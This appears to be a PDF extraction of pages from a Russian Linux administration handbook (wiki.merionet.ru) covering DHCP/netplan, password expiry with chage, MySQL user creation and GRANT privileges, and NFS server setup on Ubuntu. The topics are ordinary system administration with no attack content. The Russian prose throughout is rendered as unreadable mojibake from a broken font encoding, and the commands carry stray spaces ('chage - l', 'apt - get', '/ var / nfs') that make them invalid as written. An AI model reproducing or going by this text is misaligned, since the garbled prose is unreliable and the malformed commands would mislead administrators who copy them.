218                        ͵ΙΥΜΣΡ ͺΙΧΖΣΥΞΦ   wiki.merionet.ru   
 

  version :  2 

  renderer :  networkd  

  ethernets :  

    ens0 :  

      dhcp4 :  yes  

ʉʦʭʨʘʥʠʪʝ ʠʟʤʝʥʝʥʠʷ ʠ ʚʳʧʦʣʥʠʪʝ ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ, ʯʪʦʙʳ ʧʨʠʤʝʥʠʪʴ 

ʠʟʤʝʥʝʥʠʷ. 

$ sudo netplan apply  

ɼʣʷ ʧʦʣʫʯʝʥʠʷ ʜʦʧʦʣʥʠʪʝʣʴʥʦʡ ʠʥʬʦʨʤʘʮʠʠ ʩʤʦʪʨʠʪʝ ʩʧʨʘʚʦʯʥʳʝ ʩʪʨʘʥʠʮʳ 

dhcpd ʠ dhcpd.conf. 

$ man dhcpd  

$ man dhcpd . conf  

ɻʦʪʦʚʦ! ɺ ʵʪʦʡ ʩʪʘʪʴʝ ʤʳ ʨʘʩʩʤʦʪʨʝʣʠ, ʢʘʢ ʥʘʩʪʨʦʠʪʴ DHCP-ʩʝʨʚʝʨ ʚ 

ʜʠʩʪʨʠʙʫʪʠʚʘʭ CentOS ʠ Ubuntu Linux. 

ǨȊȚȖȔȈȚȐȟȍșȒȈȧ șȔȍȕȈ ȗȈȘȖȓȍȑ ȗȖȓȤȏȖȊȈȚȍȓȍȑ Linux 

ɾʠʟʥʴ ʩʠʩʪʝʤʥʦʛʦ ʘʜʤʠʥʠʩʪʨʘʪʦʨʘ ʥʝ ʧʨʦʩʪʘ. ʇʦʜʜʝʨʞʢʘ ʩʠʩʪʝʤ, ʙʝʟʦʧʘʩʥʦʩʪʴ 

ʩʝʪʝʚʦʛʦ ʢʦʥʪʫʨʘ, ʨʝʰʝʥʠʝ ʧʨʦʙʣʝʤ - ʫʩʣʝʜʠʪʴ ʟʘ ʚʩʝʤ ʩʣʦʞʥʦ. ʇʦʣʴʟʦʚʘʪʝʣʴʩʢʠʝ 

ʧʘʨʦʣʠ ï ʚʘʞʥʳʡ ʥʶʘʥʩ ʠ ʠʭ, ʙʝʟʫʩʣʦʚʥʦ, ʥʫʞʥʦ ʤʝʥʷʪʴ ʩ ʦʧʨʝʜʝʣʝʥʥʦʡ 

ʧʝʨʠʦʜʠʯʥʦʩʪʴʶ. 
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ɺ ʩʪʘʪʴʝ ʨʘʩʩʢʘʞʝʤ, ʢʘʢ ʘʚʪʦʤʘʪʠʯʝʩʢʠ ʟʘʩʪʘʚʣʷʪʴ ʧʦʣʴʟʦʚʘʪʝʣʝʡ Linux ʩʤʝʥʠʪʴ 

ʠʭ ʧʘʨʦʣʠ. 

 

ɉɈɆȺ ɠɂɢɉɊɁȼɗ ɇȿɈɆɣɂɢ 

ʏʪʦʙʳ ʧʦʣʫʯʠʪʴ ʠʥʬʦʨʤʘʮʠʶ ʦ ʧʦʣʴʟʦʚʘʪʝʣʴʩʢʠʭ ʧʘʨʦʣʷʭ ʠ ʦ ʜʘʪʝ ʠʭ ʦʢʦʥʯʘʥʠʷ 

ʚʚʝʜʠʪʝ ʢʦʤʘʥʜʫ: 

chage - l  

ɹʫʜʝʪ ʚʳʚʝʜʝʥʘ ʩʣʝʜʫʶʱʘʷ ʠʥʬʦʨʤʘʮʠʷ: 

ǒ ʂʦʛʜʘ ʧʘʨʦʣʴ ʙʳʣ ʧʦʩʣʝʜʥʠʡ ʨʘʟ ʠʟʤʝʥʝʥ; 

ǒ ɼʘʪʘ ʦʢʦʥʯʘʥʠʷ ʜʝʡʩʪʚʠʷ ʧʘʨʦʣʷ; 

ǒ ʉʢʦʣʴʢʦ ʜʥʝʡ ʦʩʪʘʣʦʩʴ ʜʦ ʦʢʦʥʯʘʥʠʷ ʜʝʡʩʪʚʠʷ ʧʘʨʦʣʷ; 

ǒ ʂʦʛʜʘ ʫʯʝʪʥʘʷ ʟʘʧʠʩʴ ʧʦʣʴʟʦʚʘʪʝʣʷ ʙʫʜʝʪ ʟʘʢʦʥʯʝʥʘ (ʤʦʞʥʦ, ʧʦʞʘʣʫʡʩʪʘ, 

ʜʘʣʝʝ ʤʳ ʙʫʜʝʤ ʛʦʚʦʨʠʪʴ çʟʘʵʢʩʧʘʡʨʠʪʩʷè?) 

ǒ ʄʠʥʠʤʘʣʴʥʦʝ ʢʦʣʠʯʝʩʪʚʦ ʜʥʝʡ ʤʝʞʜʫ ʠʪʝʨʘʮʠʝʡ ʩʤʝʥʳ ʧʘʨʦʣʷ; 

ǒ ʄʘʢʩʠʤʘʣʴʥʦʝ ʢʦʣʠʯʝʩʪʚʦ ʜʥʝʡ ʤʝʞʜʫ ʠʪʝʨʘʮʠʝʡ ʩʤʝʥʳ ʧʘʨʦʣʷ; 

 

ɡȿɉɊȿɁɣɗɂɄ ɇɆɣɔɡɆɁȿɊɂɣɗ ɄɂɅɗɊɔ ɇȿɈɆɣɔ ȺȿɃɠɓɂ ;2 ɠɅɂɢ 

ʉʣʝʜʫʶʱʝʡ ʢʦʤʘʥʜʦʡ ʚʳ ʤʦʞʝʪʝ ʧʦʩʪʘʚʠʪʴ ʞʝʩʪʢʦʝ ʧʨʘʚʠʣʦ ʩʤʝʥʳ ʧʘʨʦʣʝʡ: 

sudo chage - M 90 
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ʂʦʤʘʥʜʫ ʤʦʞʥʦ ʚʳʧʦʣʥʠʪʴ ʦʪ root ʧʦʣʴʟʦʚʘʪʝʣʷ ʠʣʠ ʦʪ ʶʟʝʨʘ ʩ sudo ʧʨʘʚʘʤʠ. 

ʇʨʦʚʝʨʠʪʴ, ʯʪʦ ʥʘʩʪʨʦʡʢʘ ʫʩʪʘʥʦʚʣʝʥʘ ʢʦʨʨʝʢʪʥʦ, ʤʦʞʥʦ ʩ ʧʦʤʦʱʴʶ ʢʦʤʘʥʜʳ 

chage - l  

 

ɉɈɆȺ ɠɂɢɉɊɁȼɗ ɋɏɂɊɅɆɢ ɡȿɇȼɉȼ 

ʇʨʝʜʩʪʘʚʴʪʝ, ʫ ʚʘʩ ʝʩʪʴ ʜʚʘ ʶʟʝʨʘ: ʀʚʘʥ ʠ ʇʝʪʨ. ʀ ʜʦʩʪʫʧ ʠʤ ʥʫʞʥʦ ʦʨʛʘʥʠʟʦʚʘʪʴ 

ʥʘ 2 ʜʥʷ, ʩ ʤʦʤʝʥʪʘ ʩʝʛʦʜʥʷʰʥʝʡ ʜʘʪʳ. ʇʦʣʫʯʘʝʪʩʷ, ʩʦʟʜʘʝʤ ʠʤ ʧʦʣʴʟʦʚʘʪʝʣʝʡ: 

sudo adduser ivan  

sudo adduser petr  

ʉʦʟʜʘʝʤ ʧʘʨʦʣʠ ʜʣʷ ʥʠʭ: 

sudo passwd ivan  

sudo passwd petr  

ʂʘʢ ʤʳ ʫʞʝ ʩʢʘʟʘʣʠ, ʀʚʘʥ ʠ ʇʝʪʨ ʫʝʟʞʘʶʪ ʯʝʨʝʟ 2 ʜʥʷ. ʉʦʦʪʚʝʪʩʪʚʝʥʥʦ, ʜʝʣʘʝʤ 

ʜʣʷ ʥʠʭ ʩʣʝʜʫʶʱʫʶ ʢʦʥʬʠʛʫʨʘʮʠʶ: 

sudo chage - E 2020 - 01- 16 ivan  

sudo chage - E 2020 - 01- 16 petr  

ɽʩʣʠ ʚʳ ʟʘʧʫʩʪʠʪʝ ʢʦʤʘʥʜʫ chage - l , ʪʦ ʫʚʠʜʠʪʝ ʘʢʪʫʘʣʴʥʫʶ ʜʘʪʫ ʞʠʟʥʠ 

ʘʢʢʘʫʥʪʘ. ʂʘʢ ʪʦʣʴʢʦ ʘʢʢʘʫʥʪʳ ʀʚʘʥʘ ʠ ʇʝʪʨʘ ʟʘʵʢʩʧʘʡʨʷʪʩʷ, ʠʭ ʤʦʞʥʦ ʙʫʜʝʪ 

ʫʜʘʣʠʪʴ ʢʦʤʘʥʜʦʡ: 
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sudo chage - E - 1 ivan  

sudo chage - E - 1 petr  

 

ɉȺɆɣɔȺɆ ɁɈɂɄɂɅȼ Ʌȿ ɉɄɂɅɋ ɇȿɈɆɣɗA 

ʇʘʨʦʣʴ ɻʝʥʥʘʜʠʷ ʟʘʵʢʩʧʘʡʨʠʣʩʷ (ʠʩʪʝʢ ʩʨʦʢ ʛʦʜʥʦʩʪʠ) ʚ ʚʦʩʢʨʝʩʝʥʠʝ. ʄʳ ʜʘʜʠʤ 

ɻʝʥʝ 5 ʜʥʝʡ, ʯʪʦʙʳ ʦʥ ʟʘʰʝʣ ʚ ʩʚʦʶ ʫʯʝʪʥʫʶ ʟʘʧʠʩʴ ʠ ʩʤʝʥʠʣ ʧʘʨʦʣʴ. ɽʩʣʠ ʦʥ 

ʵʪʦʛʦ ʥʝ ʩʜʝʣʘʝʪ, ʘʢʢʘʫʥʪ ʙʫʜʝʪ ʟʘʙʣʦʢʠʨʦʚʘʥ. ʉʜʝʣʘʪʴ ʵʪʦ ʤʦʞʥʦ ʚʦʪ ʪʘʢ: 

sudo chage - I 5 gennady  

ʅʫ, ʘ ʝʩʣʠ ɻʝʥʥʘʜʠʡ ʪʘʢ ʠ ʥʝ ʩʤʝʥʠʪ ʧʘʨʦʣʴ ʠ ʫʯʝʪʥʘʷ ʟʘʧʠʩʴ ʟʘʙʣʦʢʠʨʫʝʪʩʷ, 

ʫʜʘʣʠʪʴ ʝʝ ʤʦʞʥʦ ʚʦʪ ʪʘʢ: 

sudo chage - I - 1 gennady  

 

ɇɈɂɠɋɇɈɂɃɠɂɅȼɗ ɠɣɗ ɇɆɣɔɡɆɁȿɊɂɣɂɢ 

ɺʳ ï ʘʜʝʢʚʘʪʥʳʡ ʯʝʣʦʚʝʢ. ʀ ʥʘʚʝʨʥʷʢʘ ʭʦʪʠʪʝ, ʯʪʦʙʳ ʚʘʰʠ ʶʟʝʨʳ ʙʳʣʠ 

ʫʚʝʜʦʤʣʝʥʳ ʦ ʩʤʝʥʝ ʧʘʨʦʣʷ ʟʘʨʘʥʝʝ. ʅʘʧʨʠʤʝʨ, ʯʪʦʙʳ ɻʝʥʥʘʜʠʡ ʫʟʥʘʣ, ʯʪʦ ʯʝʨʝʟ 

7 ʜʥʝʡ ʠʩʪʝʢʘʝʪ ʩʨʦʢ ʛʦʜʥʦʩʪʠ ʝʛʦ ʧʘʨʦʣʷ, ʜʘʡʪʝ ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ: 

sudo chage - W 7 gennady  

 

ɡȿɑȼɑȿɂɄɉɗ ɆɊ ɏȿɉɊɆɢ ɉɄɂɅɓ ɇȿɈɆɣɂɢ 
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ɺʜʨʫʛ ʚ ʚʘʰʝʤ ʰʪʘʪʝ ʟʘʚʝʣʩʷ ʦʯʝʥʴ ʚʟʚʦʣʥʦʚʘʥʥʳʡ ʙʝʟʦʧʘʩʥʦʩʪʴʶ ʩʦʪʨʫʜʥʠʢ, 

ʢʦʪʦʨʳʡ ʤʝʥʷʝʪ ʧʘʨʦʣʠ ʢʘʞʜʳʡ ʜʝʥʴ? ʊʘʢʦʝ. ʏʪʦʙʳ ʩʜʝʣʘʪʴ ʤʠʥʠʤʘʣʴʥʦʝ 

ʢʦʣʠʯʝʩʪʚʦ ʜʥʝʡ ʤʝʞʜʫ ʩʤʝʥʦʡ ʧʘʨʦʣʝʡ ʚ ʜʚʝ ʥʝʜʝʣʠ (14 ʜʥʝʡ), ʤʦʞʥʦ ʫʢʘʟʘʪʴ 

ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ: 

sudo chage - m 14 sergey  

ʉʜʝʣʘʣʠ ʙʦʣʴʰʦʡ ʣʠʤʠʪ ʠ ʧʝʨʝʜʫʤʘʣʠ? ʅʝ ʧʨʦʙʣʝʤʘ ï ʫʜʘʣʠʪʴ ʦʛʨʘʥʠʯʝʥʠʝ ʚ 

ʜʥʷʭ ʤʦʞʥʦ ʚʦʪ ʪʘʢ: 

sudo chage - m 0 sergey  

 

ǷȘȈȊȈ ȌȖșȚțȗȈ Ȓ MySQL ȟȍȘȍȏ Linux 

ʅʝ ʚʩʝ ʣʶʙʷʪ ʫʧʨʘʚʣʷʪʴ MySQL ʯʝʨʝʟ Linux. Management Studio ï ʛʦʚʦʨʠʣʠ ʦʥʠ. 

CLI ï ʛʦʚʦʨʠʤ ʤʳ. ɹʨʦ, ʵʪʘ ʩʪʘʪʴʷ ʧʨʦ ʪʦ, ʢʘʢ ʜʘʪʴ ʧʨʘʚʘ ʜʦʩʪʫʧʘ (permissions) 

ʫʯʝʪʥʳʤ ʟʘʧʠʩʷʤ ʚ Linux ï ʩʨʝʜʝ. 

 

ɣɆɝȼɅȼɄɉɗ 

ʇʦʜʢʣʶʯʘʝʤʩʷ ʢ ʩʚʦʝʤʫ ʩʝʨʚʝʨʫ ʧʦ SSH. ɺ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʝ ʚʚʦʜʠʤ: 

mysql - u root - p 

ʍʦʧ ï ʠ ʤʳ ʫʞʝ ʚ ʨʝʞʠʤʝ ʫʧʨʘʚʣʝʥʠʷ MySQL: 
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mysql > 

ɺʦʦʙʱʝ, ʵʪʘ ʩʪʘʪʴʷ ʧʨʦ ʧʨʘʚʘ ʜʦʩʪʫʧʘ. ʅʦ ʥʘ ʚʩʷʢʠʡ ʩʣʫʯʘʡ ʚʦʪ ʪʝʙʝ ʩʠʥʪʘʢʩʠʩ 

ʢʦʤʘʥʜʳ, ʢʦʪʦʨʘʷ ʧʦʟʚʦʣʠʪ ʩʦʟʜʘʪʴ ʥʦʚʦʛʦ ʧʦʣʴʟʦʚʘʪʝʣʷ ʩ ʧʘʨʦʣʝʤ ʚ MySQL: 

CREATE USER ' ʣʦʛʠʥ' @'localhost'  IDENTIFIED BY ' ʧʘʨʦʣʴ' ;  

 

ȿ ɊɂɇɂɈɔ ɇɈȿɁȿ 

ɼʨʫʞʝ, ʩʠʥʪʘʢʩʠʩ ʢʦʤʘʥʜʳ, ʢʦʪʦʨʘʷ ʜʘʩʪ ʥʫʞʥʳʝ ʪʝʙʝ ʧʨʘʚʘ ʢʨʘʡʥʝ ʧʨʦʩʪʦʡ. ɺʦʪ 

ʦʥ: 

GRANT ʧʨʘʚʘ ON ʙʘʟʘ_ʜʘʥʥʳʭ.ʪʘʙʣʠʮʘ TO ' ʣʦʛʠʥ' @'localhost' ;  

ʈʘʟʙʝʨʝʤʩʷ ʩʣʝʚʘ ʥʘ ʧʨʘʚʦ: 

1. ʧʨʘʚʘ - ʤʦʛʫʪ ʙʳʪʴ ʩʣʝʜʫʶʱʠʝ: 

ƺ ALL ï ʜʘʝʪ ʧʦʣʥʳʡ ʜʦʩʪʫʧ ʢ ʙʘʟʝ ʜʘʥʥʳʭ. ʂʩʪʘʪʠ, ʝʩʣʠ ʙʘʟʘ ʜʘʥʥʳʭ 

ʥʝ ʦʧʨʝʜʝʣʝʥʘ ʚ ʢʦʤʘʥʜʝ, ʪʦ ʜʘʩʪ ʧʦʣʥʳʡ ʜʦʩʪʫʧ ʢʦ ʚʩʝʤʫ ʚ MySQL 

(ʦʭ ʥʝ ʥʘʜʦ ʪʘʢ); 

ƺ CREATE ï ʧʦʟʚʦʣʷʝʪ ʧʦʣʴʟʦʚʘʪʝʣʶ ʩʦʟʜʘʚʘʪʴ ʙʘʟʳ ʜʘʥʥʳʭ ʠ 

ʪʘʙʣʠʮʳ; 

ƺ DELETE ï ʜʘʝʪ ʧʨʘʚʦ ʧʦʣʴʟʦʚʘʪʝʣʶ ʫʜʘʣʷʪʴ ʩʪʨʦʢʠ ʠʟ ʪʘʙʣʠʮ; 

ƺ DROP ï ʜʘʝʪ ʧʨʘʚʦ ʫʜʘʣʷʪʴ ʙʘʟʳ ʜʘʥʥʳʭ ʠ ʪʘʙʣʠʮʘ ʮʝʣʠʢʦʤ (ʥʫ, ʪʘʢ 

ʪʦʞʝ ʥʝ ʥʘʜʦ); 

ƺ EXECUTE ï ʜʘʝʪ ʧʨʘʚʦ ʧʦʣʴʟʦʚʘʪʝʣʶ ʚʳʧʦʣʥʷʪʴ ʭʨʘʥʠʤʳʝ 

ʧʨʦʮʝʜʫʨʳ; 

ƺ GRANT OPTION ï ʩ ʵʪʦʡ ʦʧʮʠʝʡ ʶʟʝʨ ʩʤʦʞʝʪ ʜʘʚʘʪʴ ʧʨʘʚʘ (ʠʣʠ 

ʫʜʘʣʷʪʴ) ʜʨʫʛʠʤ ʧʦʣʴʟʦʚʘʪʝʣʷʤ; 

https://wiki.merionet.ru/


 
 

 

224                        ͵ΙΥΜΣΡ ͺΙΧΖΣΥΞΦ   wiki.merionet.ru   
 

ƺ INSERT ï ʜʘʝʪ ʧʨʘʚʦ ʭʨʘʥʠʪʴ ʤʦʣʯʘʥʠʶ ʠ ʚʩʝ ʯʪʦ ʦʥ ʩʢʘʞʝʪ ʙʫʜʝʪ.. 

ʃʘʜʥʦ, ʵʪʦ ʧʨʦʩʪʦ ʧʨʘʚʦ ʥʘ ʜʦʙʘʚʣʝʥʠʝ ʥʦʚʳʭ ʩʪʨʦʢ ʚ ʪʘʙʣʠʮʫ; 

ƺ SELECT ï ʩʘʤʦʝ ʨʘʩʧʨʦʩʪʨʘʥʝʥʥʦʝ ʧʨʘʚʦ ï ʧʘʨʩʠʪʴ (ʠʟʚʣʝʢʘʪʴ) 

ʜʘʥʥʳʝ ʠʟ SQL ʜʣʷ ʯʪʝʥʠʷ; 

ƺ SHOW DATABASES - ʵʪʦʤʫ ʧʦʣʴʟʦʚʘʪʝʣʶ ʤʦʞʥʦ ʙʫʜʝʪ ʩʤʦʪʨʝʪʴ ʥʘ 

ʩʧʠʩʦʢ ʙʘʟ ʜʘʥʥʳʭ; 

ƺ UPDATE ï ʜʘʝʪ ʧʨʘʚʦ ʧʦʣʴʟʦʚʘʪʝʣʶ ʠʟʤʝʥʷʪʴ ʪʝʢʫʱʠʝ ʩʪʨʦʢʠ ʚ 

ʪʘʙʣʠʮʝ; 

2. ʙʘʟʘ_ʜʘʥʥʳʭ ʩʦʙʩʪʚʝʥʥʦ, ʙʘʟʘ ʜʘʥʥʳʭ, ʚʥʫʪʨʠ ʢʦʪʦʨʦʡ ʞʠʚʝʪ ʚʘʰʘ 

ʪʘʙʣʠʮʘ; 

3. ʪʘʙʣʠʮʘ - ʩʘʤʘ ʪʘʙʣʠʮʘ. ʊʘʙʣʠʯʢʘ, table, le tableau; 

4. ʣʦʛʠʥ - ʠʤʷ ʧʦʣʴʟʦʚʘʪʝʣʷ ʚʘʰʝʛʦ ʶʟʚʝʨʷ; 

ɺʩʝ ʧʨʦʩʪʦ. ʇʨʦʙʝʞʠʤʩʷ ʧʦ ʧʨʠʤʝʨʘʤ. 

 

ʇʈʀʄɽʈ ˉ1 

ɼʘʚʘʡʪʝ ʜʘʜʠʤ ʧʨʘʚʘ ʶʟʝʨʫ example, ʩ ʧʦʤʦʱʴʶ ʢʦʪʦʨʳʭ ʦʥ ʩʤʦʞʝʪ ʩʦʟʜʘʚʘʪʴ 

ʣʶʙʳʝ ɹɼ ʠ ʪʘʙʣʠʮʳ: 

GRANT CREATE ON *.*  TO 'example' @'localhost' ;  

ʀʩʧʦʣʴʟʦʚʘʥʠʝ ʟʚʝʟʜʦʯʢʠ (*) ï ʵʪʦ ʢʘʢ ʤʘʩʢʘ, ʧʦʜ ʢʦʪʦʨʦʝ ʧʦʧʘʜʘʝʪ ʚʩʝ. 

 

ʇʈʀʄɽʈ ˉ2 
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ɼʘʜʠʤ ʧʦʣʴʟʦʚʘʪʝʣʶ example ʧʨʘʚʘ ʥʘ ʫʜʘʣʝʥʠʝ ʣʶʙʳʭ ʪʘʙʣʠʮ ʚ ʟʘʨʘʥʝʝ 

ʦʙʦʟʥʘʯʝʥʥʦʡ ʙʘʟʝ ʜʘʥʥʳʭ, ʢʦʪʦʨʘʷ ʥʘʟʳʚʘʝʪʩʷ easybro 

GRANT DROP ON easybro .*  TO 'example' @'localhost' ;  

ʂʘʢ ʚʠʜʠʰʴ, ʤʳ ʶʟʘʝʤ ʢʦʤʘʥʜʫ DROP. ʂʩʪʘʪʠ, ʣʫʯʰʘʷ ʧʨʘʢʪʠʢʘ ʧʦʩʣʝ ʚʥʝʩʝʥʠʷ 

ʠʟʤʝʥʝʥʠʷ ʩʜʝʣʘʪʴ ʥʝʙʦʣʴʰʫʶ ʧʝʨʝʟʘʛʨʫʟʢʫ ʧʨʘʚ ʢʦʤʘʥʜʦʡ: 

FLUSH PRIVILEGES;  

 

ȺȿȺ ɇɆɉɄɆɊɈɂɊɔ ɇɈȿɁȿ ɆɇɈɂɠɂɣɂɅɅɆɝɆ ɇɆɣɔɡɆɁȿɊɂɣɗ Ɂ OZ%SN 

ʇʦʩʤʦʪʨʝʪʴ ʧʨʘʚʘ ʦʯʝʥʴ ʧʨʦʩʪʦ. ʆʧʷʪʴ ʞʝ, ʥʘ ʧʨʠʤʝʨʝ ʥʘʰʝʛʦ ʶʟʝʨʘ example: 

SHOW GRANTS FOR 'example' @'localhost' ;  

ǷȖȌȕȐȔȈȍȔ NFS șȍȘȊȍȘ ȕȈ Ubuntu 

ʈʘʩʩʢʘʟʳʚʘʝʤ ʢʘʢ ʙʳʩʪʨʦ ʠ ʧʨʦʩʪʦ ʧʦʜʥʷʪʴ ʩʚʦʡ NFS ʩʝʨʚʝʨ ʥʘ Ubuntu Linux 

Server 14-04.1, ʘ ʪʘʢʞʝ ʨʘʟʙʝʨʸʤʩʷ ʩ ʧʨʠʥʮʠʧʘʤʠ ʨʘʙʦʪʳ ʧʨʦʪʦʢʦʣʘ NFS ʠ 

ʨʘʩʩʤʦʪʨʠʤ ʪʝʦʨʠʶ. 

 

ɊɂɆɈȼɗ 

ɸʙʙʨʝʚʠʘʪʫʨʘ NFS ʨʘʩʰʠʬʨʦʚʳʚʘʝʪʩʷ ʢʘʢ Need for Speed - Network File System. 

ʕʪʦ ʧʨʦʪʦʢʦʣ ʜʣʷ ʜʦʩʪʫʧʘ ʢ ʨʘʩʧʨʝʜʝʣʸʥʥʳʤ ʩʝʪʝʚʳʤ ʬʘʡʣʦʚʳʤ ʩʠʩʪʝʤʘʤ, ʩ 

ʧʦʤʦʱʴʶ ʢʦʪʦʨʦʛʦ ʤʦʞʥʦ ʧʦʜʤʦʥʪʠʨʦʚʘʪʴ ʫʜʘʣʸʥʥʳʝ ʜʠʨʝʢʪʦʨʠʠ ʢ ʩʚʦʝʤʫ 
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ʩʝʨʚʝʨʫ. ʕʪʦ ʧʦʟʚʦʣʷʝʪ ʠʩʧʦʣʴʟʦʚʘʪʴ ʜʠʩʢʦʚʦʝ ʧʨʦʩʪʨʘʥʩʪʚʦ ʜʨʫʛʦʛʦ ʩʝʨʚʝʨʘ ʜʣʷ 

ʭʨʘʥʝʥʠʷ ʬʘʡʣʦʚ ʠ ʨʝʛʫʣʷʨʥʦ ʧʨʦʠʟʚʦʜʠʪʴ ʟʘʧʠʩʴ ʜʘʥʥʳʭ ʥʘ ʥʝʛʦ ʩ ʥʝʩʢʦʣʴʢʠʭ 

ʩʝʨʚʝʨʦʚ. 

ʇʨʦʪʦʢʦʣ ʠʤʝʝʪ ʢʣʠʝʥʪ-ʩʝʨʚʝʨʥʫʶ ʤʦʜʝʣʴ, ʪʦ ʝʩʪʴ ʦʜʠʥ ʩʝʨʚʝʨ (ʝʱʸ ʝʛʦ 

ʥʘʟʳʚʘʶʪ ñʰʘʨʘò ʦʪ ʩʣʦʚʘ share), ʩ ʫʩʪʘʥʦʚʣʝʥʥʳʤ ʧʘʢʝʪʦʤ NFS, ʙʫʜʝʪ 

ʦʙʝʩʧʝʯʠʚʘʪʴ ʜʦʩʪʫʧ ʢ ʩʚʦʠʤ ʢʘʪʘʣʦʛʘʤ ʠ ʬʘʡʣʘʤ, ʘ ʢʣʠʝʥʪʩʢʠʝ ʢʦʤʧʴʶʪʝʨʳ 

ʙʫʜʫʪ ʧʦʜʢʣʶʯʘʪʴʩʷ ʢ ʥʝʤʫ ʧʦ ʩʝʪʠ. ɿʘʢʨʝʧʠʤ ʧʨʦʯʠʪʘʥʥʦʝ ʩʭʝʤʢʦʡ: 

 

ʆʙʨʘʱʝʥʠʷ ʢ ʩʝʨʚʝʨʫ NFS ʦʩʫʱʝʩʪʚʣʷʶʪʩʷ ʚ ʚʠʜʝ ʧʘʢʝʪʦʚ ʧʨʦʪʦʢʦʣʘ RPC 

(Remote Call Procedure), ʢʦʪʦʨʳʡ ʧʦʟʚʦʣʷʝʪ ʚʳʧʦʣʥʠʪʴ ʨʘʟʣʠʯʥʳʝ ʬʫʥʢʮʠʠ ʠʣʠ 

ʧʨʦʮʝʜʫʨʳ ʚ ʜʨʫʛʦʤ ʩʝʪʝʚʦʤ ʧʨʦʩʪʨʘʥʩʪʚʝ, ʪʦ ʝʩʪʴ ʥʘ ʫʜʘʣʸʥʥʦʤ ʩʝʨʚʝʨʝ. 

https://wiki.merionet.ru/
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ɸʚʪʦʨʠʟʘʮʠʷ ʧʦʣʴʟʦʚʘʪʝʣʝʡ, ʢʦʪʦʨʳʝ ʧʦʜʢʣʶʯʘʶʪʩʷ ʢ ʩʝʨʚʝʨʫ ʦʩʫʱʝʩʪʚʣʷʝʪʩʷ ʧʦ 

IP-ʘʜʨʝʩʫ, ʘ ʪʘʢʞʝ ʧʦ ʩʧʝʮʠʘʣʴʥʳʤ ʠʜʝʥʪʠʬʠʢʘʪʦʨʘʤ ʧʦʣʴʟʦʚʘʪʝʣʷ UID ʠ ʛʨʫʧʧʳ 

GID. ʕʪʦ ʥʝ ʣʫʯʰʠʡ ʩʧʦʩʦʙ ʦʪʥʦʩʠʪʝʣʴʥʦ ʙʝʟʦʧʘʩʥʦʩʪʠ ʭʨʘʥʠʤʳʭ ʬʘʡʣʦʚ, ʚ 

ʩʨʘʚʥʝʥʠʠ ʩ ʢʣʘʩʩʠʯʝʩʢʦʡ ʤʦʜʝʣʴʶ çʣʦʛʠʥ/ʧʘʨʦʣʴè. ɿʘʪʦ, ʙʣʘʛʦʜʘʨʷ ʪʘʢʦʡ 

ʘʨʭʠʪʝʢʪʫʨʝ ʠ ʪʦʤʫ, ʯʪʦ NFS ʠʩʧʦʣʴʟʦʚʘʣ ʧʨʦʪʦʢʦʣ UDP ʙʝʟ ʫʩʪʘʥʦʚʣʝʥʠʷ ʩʝʩʩʠʠ, 

ʦʥ ʧʨʘʢʪʠʯʝʩʢʠ ʥʝʚʦʩʧʨʠʠʤʯʠʚ ʢ ʩʙʦʷʤ ʩʝʪʠ ʠ ʩʘʤʠʭ ʢʣʠʝʥʪʩʢʠʭ ʢʦʤʧʴʶʪʝʨʦʚ. ʊʘʢ, 

ʧʨʠ ʢʘʢʦʤ-ʣʠʙʦ ʩʙʦʝ, ʧʝʨʝʜʘʯʘ ʬʘʡʣʘ ʧʨʦʩʪʦ ʧʨʠʦʩʪʘʥʦʚʠʪʩʷ, ʘ ʢʦʛʜʘ ʩʚʷʟʴ ʙʫʜʝʪ 

ʥʘʣʘʞʝʥʘ, ʪʦ ʧʝʨʝʜʘʯʘ ʚʦʟʦʙʥʦʚʠʪʴʩʷ ʙʝʟ ʥʝʦʙʭʦʜʠʤʦʩʪʠ ʢʘʢʦʡ-ʣʠʙʦ 

ʧʝʨʝʥʘʩʪʨʦʡʢʠ. 

 

ɅȿɉɊɈɆɢȺȿ 

ɼʫʤʘʶ, ʩ ʪʝʦʨʠʝʡ ʧʦʥʷʪʥʦ, ʪʘʢ ʯʪʦ ʜʘʚʘʡʪʝ ʧʝʨʝʭʦʜʠʪʴ ʢ ʧʨʘʢʪʠʢʝ. ʂʘʢ ʙʳʣʦ 

ʩʢʘʟʘʥʦ, ʚʩʝ ʥʘʩʪʨʦʡʢʠ ʙʫʜʝʪ ʧʨʦʚʦʜʠʪʴ ʥʘ Ubuntu 14.04.1 

ʇʨʝʞʜʝ ʚʩʝʛʦ, ʥʘ ʢʦʤʧʴʶʪʝʨ, ʢʦʪʦʨʳʡ ʙʫʜʝʪ ʚʳʩʪʫʧʘʪʴ ʚ ʨʦʣʠ ʩʝʨʚʝʨʘ NFS, ʥʫʞʥʦ 

ʫʩʪʘʥʦʚʠʪʴ ʥʝʦʙʭʦʜʠʤʳʝ ʢʦʤʧʦʥʝʥʪʳ. 

ʀʪʘʢ, ʩʢʘʯʠʚʘʝʤ ʧʘʢʝʪ nfs - kernel - server , ʩ ʧʦʤʦʱʴʶ ʢʦʪʦʨʦʛʦ ʤʳ ʩʤʦʞʝʤ 

ʨʘʟʜʘʪʴ ʜʦʩʪʫʧ (ñʨʘʩʰʘʨʠʪʴò) ʜʠʨʝʢʪʦʨʠʠ. ɼʣʷ ʵʪʦʛʦ ʥʘ ʙʫʜʫʱʝʤ NFS ʩʝʨʚʝʨʝ 

ʚʚʦʜʠʤ ʢʦʤʘʥʜʳ: 

sudo apt - get  update  

sudo apt - get  install nfs - kernel - server  
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ʊʝʧʝʨʴ ʩʦʟʜʘʸʤ ʩʦʙʩʪʚʝʥʥʦ ʜʠʨʝʢʪʦʨʠʶ ʢ ʢʦʪʦʨʦʡ ʭʦʪʠʤ ʨʘʟʜʘʪʴ ʜʦʩʪʫʧ. ʉʪʦʠʪ 

ʦʪʤʝʪʠʪʴ, ʯʪʦ ʤʦʞʥʦ ʪʘʢʞʝ ñʨʘʩʰʘʨʠʪʴò ʫʞʝ ʠʤʝʶʱʠʝʩʷ ʥʘ ʩʝʨʚʝʨʝ ʜʠʨʝʢʪʦʨʠʠ, 

ʥʦ ʤʳ ʩʦʟʜʘʜʠʤ ʥʦʚʫʶ: 

sudo mkdir / var / nfs  

